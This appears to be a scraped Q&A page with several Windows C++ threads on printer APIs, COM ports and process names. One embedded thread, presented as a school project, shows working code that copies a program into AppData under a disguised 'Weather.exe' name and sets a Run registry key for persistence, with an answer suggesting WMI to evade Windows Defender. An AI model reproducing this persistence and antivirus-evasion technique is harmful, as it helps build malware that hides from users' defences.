How to use OpenPrinter for a network printer? - c++

I'm trying to establish a connection between a Windows 10 machine and a network printer via OpenPrinter API.
At the moment, OpenPrinter does not return with a valid handle and GetLastError() returns with Error 1801: "The printer name is invalid".
If I use a local printer connected to the machine, it does not occur and it works fine.
I've tried several versions of the name: The printer name used by Windows Control Panel, device name, IP, etc.,... but no success.
Within the registry only the local device is available. I use the network printer in several programs and I can ping it. So, from the network side it is ok.
But, the more I read about the Windows printer API, the more I get confused:
My basic understanding of this API is that I use an UNC name and post it to OpenPrinter(). Then OpenPrinter gives me a valid handle for the printer.
From my point of view anything else, like a socket connection, would be done by the API. Maybe I'm completely wrong and somebody can enlighten me.
Basically, the posted code snipped is an example provided by MSDN.
The variable LPWSTR printer = L"\\\\gisrv44.wekal.de\\wkkp04"; is given to LPTSTR szPrinterName.
BOOL RawDataToPrinter(LPTSTR szPrinterName, LPBYTE lpData, DWORD dwCount)
{
BOOL bStatus = FALSE;
HANDLE hPrinter = NULL;
DOC_INFO_1 DocInfo;
DWORD dwJob = 0L;
DWORD dwBytesWritten = 0L;
DWORD dwError = 0;
PRINTER_DEFAULTSA *pDefault = new PRINTER_DEFAULTSA();
pDefault->DesiredAccess = PRINTER_ACCESS_ADMINISTER;
PRINTER_OPTIONSA *pOptions = new PRINTER_OPTIONSA();
pOptions->dwFlags = PRINTER_OPTION_NO_CACHE;
// Open a handle to the printer.
bStatus = OpenPrinter(szPrinterName, &hPrinter, pDefault);
if (!bStatus)
{
dwError = GetLastError();
cout << dwError << endl;
}
.....etc
}

I think this is your problem:
The variable LPWSTR printer = L"\\gisrv44.wekal.de\wkkp04"; is given
to LPTSTR szPrinterName.
In C/C++ the character \ has a special purpose in string literals and can be used to express string that otherwise can't be expressed, such as \0, \n, \x48 and so on. This means that if you want to include a \ in your code, you will need to enter it twice, so you'll need to enter:
LPWSTR printer = L"\\\\gisrv44.wekal.de\\wkkp04";
If you want the string literal to become \\gisrv44.wekal.de\wkkp04
Alternatively, you can use the C++11 raw string literal syntax like:
LPWSTR printer = LR"(\\gisrv44.wekal.de\wkkp04)";
See here for more on C string literals
Furthermore, the usage of LPWSTR printer = ... for your printer url would suggest you are using the Unicode version of OpenPrinter (so OpenPrinterW) while PRINTER_DEFAULTSA would suggest you are using the ASCII version. Both should either use the ASCII (LPCSTR and PRINTER_DEFAULTSA) or the Unicode (LPWSTR and PRINTER_DEFAULTSW) variant, depending on the actual OpenPrinter define.
I would recommend to use OpenPrinterA or OpenPrinterW to make all WINAPI types and functions explicitly use ASCII or Unicode.
For example:
LPCSTR printer = R"(\\gisrv44.wekal.de\wkkp04)";
PRINTER_DEFAULTSA pDefault;
pDefault.DesiredAccess = PRINTER_ACCESS_ADMINISTER;
// Open a handle to the printer.
bStatus = OpenPrinterA(szPrinterName, &hPrinter, &pDefault);

Related

Avoid Antivirus detection C++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}
Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

C++ Win32 - Getting App Name using PID and Executable Path

I'd like to get the name of an application on Windows.
Currently I'm using EnumProcesses() to enumerate all processes and receive a list of PIDs.
Then I'm looping through all PIDs, each iteration looks like this, when aProcess[i] is the current PID:
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, aProcesses[i]);
std::string processName = get_process_name(proc);
My get_process_name(proc) function uses GetModuleFileNameEx to get the executable path and GetProcessImageFileName in order to retrieve the name of the executable file.
What I want to retrieve is basically the App Name, as it is displayed in the Windows Task Manager.
I've looked throughout Win32 API's documentation and could not find a clue on how to achieve this.
I've tried looking for other ways such as Windows Shell tasklist but it outputs different things, for example- Google Chrome:
Image Name: chrome.exe PID: 84 Session Name: Console
I'd really appreciate any thought on the matter, whether it be the Win32 API or some other way I can implement through C++ code.
You can do this with GetFileVersionInfoA and VerQueryValueA.
You just need to follow the example given in the VerQueryValueA document.
Here is my sample:
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
int main()
{
HANDLE handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION , FALSE, 2140); //Modify pid to the pid of your application
if (!handle) return 0;
wchar_t pszFile[MAX_PATH] = L"";
DWORD len = MAX_PATH;
QueryFullProcessImageName(handle, 0, pszFile, &len);
UINT dwBytes, cbTranslate;
DWORD dwSize = GetFileVersionInfoSize(pszFile, (DWORD*)&dwBytes);
if (dwSize == 0) return 0;
LPVOID lpData = (LPVOID)malloc(dwSize);
ZeroMemory(lpData, dwSize);
if (GetFileVersionInfo(pszFile, 0, dwSize, lpData))
{
VerQueryValue(lpData,
L"\\VarFileInfo\\Translation",
(LPVOID*)&lpTranslate,
&cbTranslate);
wchar_t strSubBlock[MAX_PATH] = { 0 };
wchar_t* lpBuffer;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
StringCchPrintf(strSubBlock,50,
L"\\StringFileInfo\\%04x%04x\\FileDescription",
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
VerQueryValue(lpData,
strSubBlock,
(void**)&lpBuffer,
&dwBytes);
std::wcout << lpBuffer << std::endl;
}
}
if(lpData) free(lpData);
if (handle) CloseHandle(handle);
return 0;
}
And it works for me:
I think what you want are the "version" resources embedded in the PE file (the executables.)
You seem to be familiar with using Win32 API, so I'm just going to give you some hints.
You have to use LoadLibraryEx to load the EXE file (the Ex suffix is to enable passing the LOAD_LIBRARY_AS_DATAFILE flag,) and then call EnumResourceTypes (also see EnumResourceNames) to enumerate all the resource types/resources in the file, and find what you are looking for and then extract the data with LoadResource. The resource type you want is RT_VERSION.
I'm sure I'm omitting a lot of details (as per usual for Win32 programming,) and there might not be a need for enumeration at all; in which case you may want to call FindResource or FindResourceEx directly (if there is a fixed name for this particular resource.)
As further clarification, this gives you the date you see if you right-click on the EXE file (not the shortcut) in Windows Explorer and select "Properties", then go to the "Details" tab. If that information is indeed what you want (e.g. the "File description" field) then the above method should give you the data.

FILE_NOT_FOUND when trying to open COM port C++

I am trying to open a com port for reading and writing using C++ but I can't seem to pass the first stage of actually opening it. I get an INVALID_HANDLE_VALUE on the handle
with GetLastError FILE_NOT_FOUND. I have searched around the web for a couple of days I'm fresh out of ideas. I have searched through all the questions regarding COM on this website too.
I have scanned through the existing ports (or so I believe) to get the name of the port right.
I also tried combinations of _T("COM1") with the slashes, without the slashes, with colon, without colon and without the _T
I'm using windows 7 on 64 bit machine.
this is the code i got
I'll be glad for any input on this
void SendToCom(char* data, int len)
{
DWORD cbNeeded = 0;
DWORD dwPorts = 0;
EnumPorts(NULL, 1, NULL, 0, &cbNeeded, &dwPorts);
//What will be the return value
BOOL bSuccess = FALSE;
LPCSTR COM1 ;
BYTE* pPorts = static_cast<BYTE*>(malloc(cbNeeded));
bSuccess = EnumPorts(NULL, 1, pPorts, cbNeeded, &cbNeeded, &dwPorts);
if (bSuccess){
PORT_INFO_1* pPortInfo = reinterpret_cast<PORT_INFO_1*>(pPorts);
for (DWORD i=0; i<dwPorts; i++)
{
//If it looks like "COMX" then
size_t nLen = _tcslen(pPortInfo->pName);
if (nLen > 3)
{
if ((_tcsnicmp(pPortInfo->pName, _T("COM"), 3) == 0) ){
COM1 =pPortInfo->pName;
//COM1 ="\\\\.\\COM1";
HANDLE m_hCommPort = CreateFile( COM1 ,
GENERIC_READ|GENERIC_WRITE, // access ( read and write)
0, // (share) 0:cannot share the COM port
NULL, // security (None)
OPEN_EXISTING, // creation : open_existing
FILE_FLAG_OVERLAPPED, // we want overlapped operation
NULL // no templates file for COM port...
);
if (m_hCommPort==INVALID_HANDLE_VALUE)
{
DWORD err = GetLastError();
if (err == ERROR_FILE_NOT_FOUND) {
MessageBox(hWnd,"ERROR_FILE_NOT_FOUND",NULL,MB_ABORTRETRYIGNORE);
}
else
if(err == ERROR_INVALID_NAME) {
MessageBox(hWnd,"ERROR_INVALID_NAME",NULL,MB_ABORTRETRYIGNORE);
}
else
{
MessageBox(hWnd,"unkown error",NULL,MB_ABORTRETRYIGNORE);
}
}
else{
WriteAndReadPort(m_hCommPort,data);
}
}
pPortInfo++;
}
}
}
}
The Solution is to use
The Problem is, if your port is Bigger then 9 then you have to use the Syntax
LPCWSTR szPortName = L"\\\\.\\COM11";.
If you are on Windows 10 - running all system updates might help !
I had the same issue that opening port "COM4" returned an error ERROR_FILE_NOT_FOUND. When running the program as "Administrator" it worked. Now after a updating to 1511 the program can open "COM4" even not running as "Administrator".
http://www.cplusplus.com/forum/windows/163855/
Use CreateFileA(...) instead of CreateFile(...)
ERROR_FILE_NOT_FOUND can be produced from CreateFile(L"\\\\.\\COM1", ...) and CreateFile(L"COM1:", ...) after using the Device Manager to change the assigned COM Port number. Disabling and re-enabling the device, or unplugging and reconnecting the USB adapter resolves the issue.
A useful test to confirm whether it is your program or the system is to send data to the port in command prompt. A successful test will show an empty line. A failed test will show an error message.
C:\drop>echo > \\.\COM1
The system cannot find the file specified.
C:\drop>echo > \\.\COM1
C:\drop>

Getting IPAddress with XcvData

I am needing to get the ip of the printer but am not having much success.
Already tried in various ways. Currently my code is like this:
void Spl::GetIpAddress(LPSTR printerName)
{
HANDLE hPrinter;
PBYTE wAddress = NULL;
DWORD size;
DWORD status;
LPSTR portName = GetProt(printerName);
std::ostringstream strTemp;
strTemp << portName;
string temp = ",XcvPort " + strTemp.str();
//temp = ,XcvPort 192.168.2.247
LPSTR tempLPSTR((LPSTR)temp.c_str());
if(OpenPrinter(tempLPSTR,&hPrinter,NULL))
{
if (XcvData(hPrinter, L"IPAddress", NULL, 0,wAddress,31, &size,&status))
{
}
}
}
When he tries to call the XcvData function she not enter the 'IF'. And my object "wAddress" remains empty.
Because I'm not getting?
OBS: This code is based on the msdn doc: http://msdn.microsoft.com/en-us/library/windows/hardware/ff562761(v=vs.85).aspx
Thank!
You're missing the server name in the OpenPrinter call. The printer name should look something like this:
"\\\\myServer\\,XvcPort myPort"
To confirm that is the problem, call GetLastError when OpenPrinter fails.

Printing Raw Data in Terminal Server

Here is the scenario:
I have a Windows Server 2008 with Terminal Server (No Domain Controller, No join to Domain)
I have a client machine with Windows XP SP3 updated (.NET 3.0 SP1 and .NET 4.0)
I'm Using Embarcadero C++Builder (BCB6)
I have a ticket printer (Thermal Printer, POS Printer, Epson, Zebra, etc.)
When I connect to the terminal server, the printer works OK. I tested printing a test page.
When I use my software to send the raw data in the terminal server on the local computer, I get this error:
Windows Presentation Foundation terminal server print W has encountered a
problem and needs to close. We are sorry for the inconvenience.
I followed the advice from this support page with no luck.
I used to print directly to LPT1:, but with Windows Server 2008 it's getting harder to make this work, so we have to change the way we print to this kind of printer.
Here is the code that I'm using. I tested locally and it works fine, but in the terminal server doesn't work:
bool TForm1::RawDataToPrinter(char* szPrinterName, char* lpData, unsigned int dwCount )
{
int BytesWritten;
HANDLE hPrinter;
TDocInfo1 DocInfo;
bool bStatus = false;
int dwJob = 0;
unsigned long dwBytesWritten = 0;
// Open a handle to the printer.
bStatus = OpenPrinter( szPrinterName, &hPrinter, NULL );
if( bStatus )
{
// Fill in the structure with info about this "document."
DocInfo.pDocName = "My Document";
DocInfo.pOutputFile = NULL;
DocInfo.pDatatype = "RAW";
// to indicate that the application will be sending document data to the printer.
dwJob = StartDocPrinter( hPrinter, 1, (LPBYTE)&DocInfo );
if ( dwJob > 0 )
{
// Start a page.
bStatus = StartPagePrinter( hPrinter );
bStatus = true;
if( bStatus )
{
// Send the data to the printer.
bStatus = WritePrinter( hPrinter, lpData, dwCount, &dwBytesWritten );
EndPagePrinter ( hPrinter );
}
// Inform the spooler that the document is ending.
EndDocPrinter( hPrinter );
}
// Close the printer handle.
ClosePrinter( hPrinter );
}
// Check to see if correct number of bytes were written.
if (!bStatus || (dwBytesWritten != dwCount))
bStatus = false;
else
bStatus = true;
return bStatus;
}
I copied this code from a example in Microsoft's Support. I also tried changing the "RAW" to "TEXT" but I get the same error.
I tried this code, because it uses the GDI to print:
long pageline;
char prueba[255];
Printer()->SetPrinter(ListBox1->Items->Strings[ListBox1->ItemIndex].c_str(), "WINSPOOL", "", NULL);
Printer()->BeginDoc();
pageline = 0;
while(pageline < Memo1->Lines->Count)
{
Printer()->Canvas->TextOut(10, (10 + Printer()->Canvas->TextHeight("Hi! There")) * pageline, Memo1->Lines->Strings[pageline]);
pageline++;
}
Printer()->EndDoc();
This is a example that I found in the Embarcadero Forum.
I also verified TsWpfWrp.exe. I tried replacing it by the one in the server, but it does nothing, doesn't send the error, but also won't send any data.
There is another way to do this? Do I have something wrong in the code?
I appreciated any help or insight.
I found the problem, is the Easy Print driver, it expect in RAW Mode the XPS specification, but I was sending only text.
I disabled the Easy Print to put the printer in Fallback mode( something like that), this is where the Terminal Server, first it look for the installed driver then for the Easy Print (this can be verified in the properties of the printer in advanced options).
Now it works, thanks.